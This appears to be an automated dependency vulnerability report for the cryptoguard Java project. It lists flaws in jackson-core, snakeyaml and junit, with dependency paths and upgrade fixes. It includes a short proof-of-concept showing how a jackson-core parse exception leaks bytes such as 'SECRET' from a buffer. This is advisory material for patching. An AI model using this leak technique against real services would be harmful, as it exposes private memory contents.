Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.
Workaround
This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.
PoC
byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);
JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception
// Exception message will include "SECRET"
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
medium severity
- Module: junit:junit
- Introduced through: junit:junit@4.13 and com.binarytweed:quarantining-test-runner@0.0.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › junit:junit@4.13
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.binarytweed:quarantining-test-runner@0.0.3 › junit:junit@4.13
EPL-1.0 license
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.14.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.32 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow in org.yaml.snakeyaml.constructor.BaseConstructor.constructObject when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.14.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when supplied with untrusted input, due to improper limitation for incoming data.
Remediation
Upgrade org.yaml:snakeyaml to version 1.32 or higher.
References
low severity
- Vulnerable module: junit:junit
- Introduced through: junit:junit@4.13 and com.binarytweed:quarantining-test-runner@0.0.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › junit:junit@4.13Remediation: Upgrade to junit:junit@4.13.1.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.binarytweed:quarantining-test-runner@0.0.3 › junit:junit@4.13
Overview
junit:junit is an unit testing framework for Java
Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.
Remediation
Upgrade junit:junit to version 4.13.1 or higher.